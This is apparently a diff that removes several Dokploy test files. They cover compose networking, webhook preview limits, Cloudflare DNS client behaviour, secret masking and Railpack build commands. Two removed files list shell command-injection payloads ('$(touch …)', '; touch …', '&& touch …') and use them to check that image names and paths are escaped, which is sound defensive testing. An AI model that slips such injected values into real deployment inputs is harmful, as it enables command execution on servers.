networkIds: ["missing"],
detachDokployNetwork: false,
},
]),
);
expect(injected.size).toBe(0);
});
test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "ghost",
networkIds: ["net-1"],
detachDokployNetwork: false,
},
]),
);
expect(injected.size).toBe(0);
expect(result.services?.web?.networks).toBeUndefined();
});
test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
const used = parse(`
services:
web:
image: nginx
networks:
- dokploy-network
`) as ComposeSpecification;
declareUsedNetworksInRoot(used, new Set());
expect(used.networks).toHaveProperty("dokploy-network");
const unused = parse(`
services:
web:
image: nginx
networks:
- default
`) as ComposeSpecification;
declareUsedNetworksInRoot(unused, new Set());
expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
});
test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
const result = parse(`
services:
web:
image: nginx
networks:
- shared-net
`) as ComposeSpecification;
declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
expect(result.networks).toHaveProperty("shared-net");
expect(result.networks ?? {}).not.toHaveProperty("unused-net");
});
test("resolveServiceNetworks: returns dokploy-network by default", async () => {
const resolved = await resolveServiceNetworks({});
expect(resolved).toEqual([{ Target: "dokploy-network" }]);
expect(findManyMock).not.toHaveBeenCalled();
});
test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
expect(resolved).toEqual([]);
});
test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
expect(resolved).toEqual([
{ Target: "dokploy-network" },
{ Target: "overlay-a" },
]);
});
test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
const override = [{ Target: "custom-net" }];
const resolved = await resolveServiceNetworks({ networkSwarm: override });
expect(resolved).toBe(override);
expect(findManyMock).not.toHaveBeenCalled();
});
@@ -1,66 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockUpdateCompose = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
checkServicePermissionAndAccess: vi.fn(async () => undefined),
}));
vi.mock("@dokploy/server", () => ({
IS_CLOUD: true,
findComposeById: vi.fn(async () => ({
composeId: "compose-1",
name: "example-compose",
})),
updateCompose: mockUpdateCompose,
}));
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(),
}));
vi.mock("@/server/api/utils/audit", () => ({
audit: vi.fn(async () => undefined),
}));
vi.mock("@/server/queues/queueSetup", () => ({
cleanQueuesByCompose: vi.fn(),
killDockerBuild: vi.fn(),
myQueue: {
add: vi.fn(),
},
}));
const { composeRouter } = await import("@/server/api/routers/compose");
const caller = composeRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "user@example.com", role: "owner" },
} as Parameters<typeof composeRouter.createCaller>[0]);
describe("saving a compose provider", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it.each(["done", "running"])(
"keeps the %s status when disconnecting a Git provider",
async (status) => {
let savedStatus = status;
mockUpdateCompose.mockImplementation(async (_id, update) => {
if (update.composeStatus !== undefined) {
savedStatus = update.composeStatus;
}
});
await caller.disconnectGitProvider({ composeId: "compose-1" });
expect(savedStatus).toBe(status);
expect(mockUpdateCompose).toHaveBeenCalledTimes(1);
expect(mockUpdateCompose).toHaveBeenCalledWith(
"compose-1",
expect.objectContaining({ sourceType: "github" }),
);
},
);
});
@@ -42,39 +42,6 @@ test("Add suffix to volumes declared directly in services", () => {
);
});
const composeFileAccessMode = `
version: "3.8"
services:
web:
image: nginx:alpine
volumes:
- web_config:/etc/nginx/conf.d:ro
- certs/sub:/etc/certs:Z
`;
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
return;
}
const updatedComposeData = addSuffixToVolumesInServices(
composeData.services,
suffix,
);
expect(updatedComposeData.web?.volumes).toContain(
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
);
expect(updatedComposeData.web?.volumes).toContain(
`certs-${suffix}/sub:/etc/certs:Z`,
);
});
const composeFileTypeVolume = `
version: "3.8"
@@ -1,41 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];
describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});
it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});
@@ -1,66 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
// test exercises only the injection surface, not real docker.
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
const runAndCheckSafe = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {
// no-op stand-ins may exit non-zero; only the marker matters.
}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"x; touch %MARK%",
"x && touch %MARK%",
"x | touch %MARK%",
];
describe("docker build/pull command injection", () => {
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
for (const p of PAYLOADS) {
const dockerImage = p.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("dockerContextPath (docker-file: cd) is escaped", () => {
for (const p of PAYLOADS) {
const dockerContextPath = p.replace("%MARK%", MARK);
const command = `: cd ${quote([dockerContextPath])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
for (const p of PAYLOADS) {
const publishDirectory = p.replace("%MARK%", MARK);
const containerId = "buildabc";
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("keeps a legitimate image / path intact as a single token", () => {
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
// the result back to exactly the original single token.
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
"registry.io/team/app:tag",
]);
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
});
});
@@ -1,43 +0,0 @@
import { execFileSync } from "node:child_process";
import { mkdirSync, readFileSync, rmSync } from "node:fs";
import { join } from "node:path";
import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
import { parse } from "dotenv";
import { afterEach, describe, expect, it } from "vitest";
// Unlike compose's .env, this one is read by the app's own build tooling
// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
const appName = `env-file-literals-dockerfile-${process.pid}`;
const projectPath = join(process.cwd(), ".docker", "compose", appName);
const codePath = join(projectPath, "code");
const dockerFilePath = join(codePath, "Dockerfile");
afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
const cases: Record<string, string> = {
PASSWORD: "pa$$word",
NESTED_JSON: '{"nested":{"a":1}}',
QUOTE_INSIDE: 'she said "hi"',
BACKSLASH: "back\\slash",
UNICODE: "héllo wörld 日本語 🚀",
};
describe("createEnvFileCommand", () => {
it("writes special environment values that a generic dotenv parser reads back literally", () => {
mkdirSync(codePath, { recursive: true });
const serviceEnv = Object.entries(cases)
.map(([key, value]) => `${key}=${value}`)
.join("\n");
const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
execFileSync("bash", ["-c", command]);
const written = readFileSync(join(codePath, ".env"), "utf8");
const parsed = parse(written);
for (const [key, value] of Object.entries(cases)) {
expect(parsed[key], key).toBe(value);
}
});
});
@@ -12,8 +12,6 @@ const mocks = vi.hoisted(() => ({
queueAdd: vi.fn(),
verify: vi.fn(),
shouldDeploy: vi.fn(),
createPreviewDeployment: vi.fn(),
findPreviewDeploymentByApplicationId: vi.fn(),
}));
vi.mock("drizzle-orm", () => ({
@@ -66,11 +64,10 @@ vi.mock("@dokploy/server", () => ({
IS_CLOUD: false,
shouldDeploy: mocks.shouldDeploy,
checkUserRepositoryPermissions: vi.fn(),
createPreviewDeployment: mocks.createPreviewDeployment,
createPreviewDeployment: vi.fn(),
createSecurityBlockedComment: vi.fn(),
findGithubById: vi.fn(),
findPreviewDeploymentByApplicationId:
mocks.findPreviewDeploymentByApplicationId,
findPreviewDeploymentByApplicationId: vi.fn(),
findPreviewDeploymentsByPullRequestId: vi.fn(),
getBitbucketHeaders: vi.fn(() => ({})),
removePreviewDeployment: vi.fn(),
@@ -324,157 +321,3 @@ describe("GitHub app webhook auto-deploy", () => {
expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
});
});
describe("GitHub app webhook preview deployments", () => {
const createApplication = (
overrides: Record<string, unknown> = {},
): Record<string, unknown> => ({
applicationId: "application-id",
name: "my-app",
serverId: null,
previewLabels: [],
previewLimit: 3,
previewDeployments: [],
previewRequireCollaboratorPermissions: false,
...overrides,
});
const createPreviewDeployments = (total: number) =>
Array.from({ length: total }, (_, index) => ({
previewDeploymentId: `existing-preview-${index}`,
}));
const createPullRequestRequest = (action: string) =>
({
headers: {
"x-hub-signature-256": "sha256=test-signature",
"x-github-event": "pull_request",
},
body: {
installation: {
id: 12345,
},
action,
pull_request: {
id: 987,
number: 42,
title: "feat: add preview",
html_url: "https://github.com/agentHits/dokploy/pull/42",
labels: [],
user: {
login: "agentHits",
},
head: {
ref: "feature",
sha: "abc123",
},
base: {
ref: "main",
},
},
repository: {
name: "dokploy",
owner: {
login: "agentHits",
},
},
},
}) as unknown as NextApiRequest;
beforeEach(() => {
vi.clearAllMocks();
mocks.githubFindFirst.mockResolvedValue({
githubId: "github-provider-id",
githubInstallationId: 12345,
githubWebhookSecret: "webhook-secret",
});
mocks.verify.mockResolvedValue(true);
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
mocks.createPreviewDeployment.mockResolvedValue({
previewDeploymentId: "new-preview-id",
});
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue(undefined);
});
it("redeploys an existing preview even when the limit is reached", async () => {
mocks.applicationsFindMany.mockResolvedValue([
createApplication({
previewLimit: 2,
previewDeployments: createPreviewDeployments(3),
}),
]);
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue({
previewDeploymentId: "existing-preview-0",
});
const res = createResponse();
await handler(createPullRequestRequest("synchronize"), res);
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application-preview",
previewDeploymentId: "existing-preview-0",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
});
it("does not create a new preview once the limit is reached", async () => {
mocks.applicationsFindMany.mockResolvedValue([
createApplication({
previewLimit: 2,
previewDeployments: createPreviewDeployments(2),
}),
]);
const res = createResponse();
await handler(createPullRequestRequest("opened"), res);
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
expect(mocks.queueAdd).not.toHaveBeenCalled();
expect(res.status).toHaveBeenCalledWith(200);
});
it("falls back to the default limit when none is configured", async () => {
mocks.applicationsFindMany.mockResolvedValue([
createApplication({
previewLimit: null,
previewDeployments: createPreviewDeployments(2),
}),
]);
const res = createResponse();
await handler(createPullRequestRequest("opened"), res);
expect(mocks.createPreviewDeployment).toHaveBeenCalledWith(
expect.objectContaining({
applicationId: "application-id",
branch: "feature",
pullRequestId: 987,
pullRequestNumber: 42,
}),
);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application-preview",
previewDeploymentId: "new-preview-id",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
});
});
@@ -1,113 +0,0 @@
import type { ApplicationNested } from "@dokploy/server/utils/builders";
import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
import { describe, expect, it } from "vitest";
const createApplication = (
overrides: Partial<ApplicationNested> = {},
): ApplicationNested =>
({
appName: "test-app",
buildType: "railpack",
sourceType: "git",
buildPath: "/",
railpackVersion: "0.15.4",
env: "TEST_VAR=one",
cleanCache: false,
environment: {
project: {
env: "",
},
env: "",
},
...overrides,
}) as unknown as ApplicationNested;
const getSecretsHash = (command: string) => {
const match = command.match(/secrets-hash=([a-f0-9]{64})/);
if (!match?.[1]) {
throw new Error("secrets-hash build arg was not found");
}
return match[1];
};
describe("getRailpackCommand", () => {
it("includes secrets-hash without clean cache", () => {
const command = getRailpackCommand(createApplication());
expect(command).toContain("--build-arg secrets-hash=");
expect(command).not.toContain("cache-key=");
});
it("includes cache-key only when clean cache is enabled", () => {
const command = getRailpackCommand(
createApplication({
cleanCache: true,
}),
);
expect(command).toContain("--build-arg secrets-hash=");
expect(command).toContain("--build-arg cache-key=");
});
it("installs Railpack through sudo for non-root users", () => {
const command = getRailpackCommand(createApplication());
expect(command).toContain(
'$SUDO_CMD bash -c "$(curl -fsSL https://railpack.com/install.sh)"',
);
expect(command).toContain("sudo -n true 2>/dev/null");
});
it("changes secrets-hash when an environment value changes", () => {
const firstCommand = getRailpackCommand(
createApplication({
env: "TEST_VAR=one",
}),
);
const secondCommand = getRailpackCommand(
createApplication({
env: "TEST_VAR=two",
}),
);
expect(getSecretsHash(firstCommand)).not.toEqual(
getSecretsHash(secondCommand),
);
});
it("changes secrets-hash when referenced project or environment values change", () => {
const firstCommand = getRailpackCommand(
createApplication({
env: [
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
].join("\n"),
environment: {
project: {
env: "SHARED_VALUE=one",
},
env: "SHARED_VALUE=alpha",
},
} as Partial<ApplicationNested>),
);
const secondCommand = getRailpackCommand(
createApplication({
env: [
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
].join("\n"),
environment: {
project: {
env: "SHARED_VALUE=two",
},
env: "SHARED_VALUE=beta",
},
} as Partial<ApplicationNested>),
);
expect(getSecretsHash(firstCommand)).not.toEqual(
getSecretsHash(secondCommand),
);
});
});
@@ -16,30 +16,6 @@ describe("shouldDeploy", () => {
expect(shouldDeploy(["src/**"], ["docs/readme.md"])).toBe(false);
});
it("should apply multiple negated watch paths as one pattern set", () => {
const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
expect(shouldDeploy(watchPaths, ["CHANGELOG.md"])).toBe(false);
expect(shouldDeploy(watchPaths, ["VERSION"])).toBe(false);
expect(shouldDeploy(watchPaths, ["tests/unit/example.test.ts"])).toBe(
false,
);
});
it("should deploy when a changed file remains after exclusions", () => {
const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
expect(shouldDeploy(watchPaths, ["VERSION", "src/index.ts"])).toBe(true);
});
it("should combine positive and negated watch paths", () => {
const watchPaths = ["src/**", "!src/**/*.test.ts"];
expect(shouldDeploy(watchPaths, ["src/index.ts"])).toBe(true);
expect(shouldDeploy(watchPaths, ["src/index.test.ts"])).toBe(false);
expect(shouldDeploy(watchPaths, ["docs/readme.md"])).toBe(false);
});
it("should not throw when modified files contain non-string values", () => {
expect(() =>
shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),
@@ -1,453 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare";
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
const cfSuccess = (result: unknown) =>
jsonResponse({ success: true, errors: [], result });
const cfError = (message: string, status = 400) =>
jsonResponse(
{ success: false, errors: [{ code: 1, message }] },
false,
status,
);
const config = { providerType: "cloudflare" as const, apiToken: "cf-token" };
beforeEach(() => {
mockFetch.mockReset();
});
describe("cloudflareClient.listZones", () => {
it("returns a single page of zones", async () => {
mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }]));
const zones = await cloudflareClient.listZones(config);
expect(zones).toEqual([{ id: "z1", name: "example.com" }]);
expect(mockFetch).toHaveBeenCalledTimes(1);
const [url] = mockFetch.mock.calls[0] as [string];
expect(url).toContain("/zones?per_page=50&page=1");
});
it("paginates until a short page is returned", async () => {
const page = (count: number) =>
cfSuccess(
Array.from({ length: count }, (_, i) => ({
id: `z${i}`,
name: `zone${i}.com`,
})),
);
mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3));
const zones = await cloudflareClient.listZones(config);
expect(zones).toHaveLength(53);
expect(mockFetch).toHaveBeenCalledTimes(2);
expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2");
});
});
describe("cloudflareClient.listRecords", () => {
it("lists records for a zone", async () => {
mockFetch.mockResolvedValue(
cfSuccess([
{
id: "r1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 1,
},
]),
);
const records = await cloudflareClient.listRecords(config, "zone-1");
expect(records).toEqual([
{
id: "r1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 1,
},
]);
expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records");
});
});
describe("cloudflareClient MX priority", () => {
it("inlines the priority into the content when listing", async () => {
mockFetch.mockResolvedValue(
cfSuccess([
{
id: "mx-1",
type: "MX",
name: "example.com",
content: "mail.example.com",
ttl: 300,
priority: 20,
},
]),
);
const records = await cloudflareClient.listRecords(config, "zone-1");
expect(records[0]?.content).toBe("20 mail.example.com");
});
it("splits the priority back out when writing", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "mx-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "MX",
name: "example.com",
content: "20 mail.example.com",
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(JSON.parse(init.body as string)).toMatchObject({
content: "mail.example.com",
priority: 20,
});
});
it("falls back to priority 10 when the content has no leading number", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "mx-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "MX",
name: "example.com",
content: "mail.example.com",
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(JSON.parse(init.body as string)).toMatchObject({
content: "mail.example.com",
priority: 10,
});
});
it("leaves non-MX content untouched", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "txt-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "TXT",
name: "example.com",
content: "10 not-a-priority",
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
const body = JSON.parse(init.body as string);
expect(body.content).toBe("10 not-a-priority");
expect(body.priority).toBeUndefined();
});
});
describe("cloudflareClient structured records", () => {
const stubCreate = () =>
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "rec-1" }));
it("sends SRV values as structured data", async () => {
stubCreate();
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "SRV",
name: "_sip._tcp.example.com",
content: "1 10 5269 talk.example.com",
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
const body = JSON.parse(init.body as string);
expect(body.data).toEqual({
priority: 1,
weight: 10,
port: 5269,
target: "talk.example.com",
});
expect(body.content).toBeUndefined();
});
it("sends CAA values as structured data and drops the quotes", async () => {
stubCreate();
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "CAA",
name: "example.com",
content: '0 issue "letsencrypt.org"',
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
const body = JSON.parse(init.body as string);
expect(body.data).toEqual({
flags: 0,
tag: "issue",
value: "letsencrypt.org",
});
expect(body.content).toBeUndefined();
});
it("rejects an SRV value that is missing a part", async () => {
await expect(
cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "SRV",
name: "_sip._tcp.example.com",
content: "1 10 5269",
}),
).rejects.toThrow(/SRV value/);
});
it("rejects a CAA value that has no tag", async () => {
await expect(
cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "CAA",
name: "example.com",
content: "0",
}),
).rejects.toThrow(/CAA value/);
});
});
describe("cloudflareClient proxy status", () => {
it("sends the proxy status for proxiable types", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "a-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
proxied: true,
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(JSON.parse(init.body as string).proxied).toBe(true);
});
it("omits the proxy status for types Cloudflare cannot proxy", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "txt-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "TXT",
name: "example.com",
content: "hello",
proxied: true,
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(JSON.parse(init.body as string).proxied).toBeUndefined();
});
it("leaves the proxy status untouched when the caller does not set it", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "a-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
expect("proxied" in JSON.parse(init.body as string)).toBe(false);
});
it("returns the proxy status when listing records", async () => {
mockFetch.mockResolvedValue(
cfSuccess([
{
id: "a-1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 1,
proxied: true,
},
]),
);
const records = await cloudflareClient.listRecords(config, "zone-1");
expect(records[0]?.proxied).toBe(true);
});
});
describe("cloudflareClient.upsertRecord", () => {
it("creates a record when none exists for the name/type", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
const result = await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "new-1" });
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(createInit.method).toBe("POST");
});
it("updates the existing record when content matches", async () => {
mockFetch
.mockResolvedValueOnce(
cfSuccess([{ id: "existing-1", type: "A", content: "5.6.7.8" }]),
)
.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
const result = await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "existing-1" });
const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [
string,
RequestInit,
];
expect(updateUrl).toContain("/dns_records/existing-1");
expect(updateInit.method).toBe("PUT");
});
it("creates a new record when content differs from existing", async () => {
mockFetch
.mockResolvedValueOnce(
cfSuccess([{ id: "existing-1", type: "A", content: "1.1.1.1" }]),
)
.mockResolvedValueOnce(cfSuccess({ id: "new-2" }));
const result = await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "new-2" });
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(createInit.method).toBe("POST");
});
it("defaults ttl to 1 (automatic) when not provided", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "CNAME",
name: "www.example.com",
content: "example.com",
});
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
const body = JSON.parse(createInit.body as string);
expect(body.ttl).toBe(1);
});
});
describe("cloudflareClient.updateRecord", () => {
it("PUTs directly to the given record id", async () => {
mockFetch.mockResolvedValue(cfSuccess({ id: "r1" }));
const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", {
type: "A",
name: "app.example.com",
content: "9.9.9.9",
ttl: 300,
});
expect(result).toEqual({ id: "r1" });
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toContain("/zones/zone-1/dns_records/r1");
expect(init.method).toBe("PUT");
expect(JSON.parse(init.body as string)).toEqual({
type: "A",
name: "app.example.com",
content: "9.9.9.9",
ttl: 300,
});
});
});
describe("cloudflareClient.deleteRecord", () => {
it("DELETEs the given record id", async () => {
mockFetch.mockResolvedValue(cfSuccess({}));
await cloudflareClient.deleteRecord(config, "zone-1", "r1");
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toContain("/zones/zone-1/dns_records/r1");
expect(init.method).toBe("DELETE");
});
});
describe("cloudflareClient.testConnection", () => {
it("succeeds when the token can list zones", async () => {
mockFetch.mockResolvedValue(cfSuccess([]));
await expect(
cloudflareClient.testConnection(config),
).resolves.toBeUndefined();
});
it("surfaces Cloudflare's error message on an invalid token", async () => {
mockFetch.mockResolvedValue(cfError("Invalid API Token"));
await expect(cloudflareClient.testConnection(config)).rejects.toThrow(
"Invalid API Token",
);
});
});
describe("cloudflareClient auth header", () => {
it("trims whitespace pasted into the token", async () => {
mockFetch.mockResolvedValue(cfSuccess([]));
await cloudflareClient.testConnection({
providerType: "cloudflare",
apiToken: " cf-token\n",
});
const [, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect((init.headers as Record<string, string>).Authorization).toBe(
"Bearer cf-token",
);
});
});
@@ -1,116 +0,0 @@
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/db", () => ({
db: {
query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } },
insert: vi.fn(),
update: vi.fn(),
delete: vi.fn(),
},
}));
import {
DNS_SECRET_MASK,
maskDnsProviderConfig,
mergeDnsProviderConfig,
} from "@dokploy/server/services/dns-provider";
describe("maskDnsProviderConfig", () => {
it("masks the apiToken for a cloudflare config", () => {
const masked = maskDnsProviderConfig({
providerType: "cloudflare",
apiToken: "real-token",
});
expect(masked).toEqual({
providerType: "cloudflare",
apiToken: DNS_SECRET_MASK,
});
});
it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => {
const masked = maskDnsProviderConfig({
providerType: "route53",
accessKeyId: "AKIA_VISIBLE",
secretAccessKey: "shh",
});
expect(masked).toEqual({
providerType: "route53",
accessKeyId: "AKIA_VISIBLE",
secretAccessKey: DNS_SECRET_MASK,
});
});
it("leaves an empty sensitive field untouched instead of masking a blank value", () => {
const masked = maskDnsProviderConfig({
providerType: "cloudflare",
apiToken: "",
});
expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" });
});
});
describe("mergeDnsProviderConfig", () => {
it("restores the real secret when the incoming config still has the mask placeholder", () => {
const existing = {
providerType: "cloudflare" as const,
apiToken: "real-token",
};
const incoming = {
providerType: "cloudflare" as const,
apiToken: DNS_SECRET_MASK,
};
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing);
});
it("keeps a freshly entered secret instead of the stored one", () => {
const existing = {
providerType: "cloudflare" as const,
apiToken: "old-token",
};
const incoming = {
providerType: "cloudflare" as const,
apiToken: "new-token",
};
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming);
});
it("throws when switching provider type while the field is still masked", () => {
const existing = {
providerType: "cloudflare" as const,
apiToken: "real-token",
};
const incoming = {
providerType: "route53" as const,
accessKeyId: "AKIA",
secretAccessKey: DNS_SECRET_MASK,
};
expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow(
"Credentials must be re-entered",
);
});
it("does not require re-entry for fields that are not sensitive", () => {
const existing = {
providerType: "route53" as const,
accessKeyId: "AKIA_OLD",
secretAccessKey: "old-secret",
};
const incoming = {
providerType: "route53" as const,
accessKeyId: "AKIA_NEW",
secretAccessKey: DNS_SECRET_MASK,
};
expect(mergeDnsProviderConfig(incoming, existing)).toEqual({
providerType: "route53",
accessKeyId: "AKIA_NEW",
secretAccessKey: "old-secret",
});
});
});
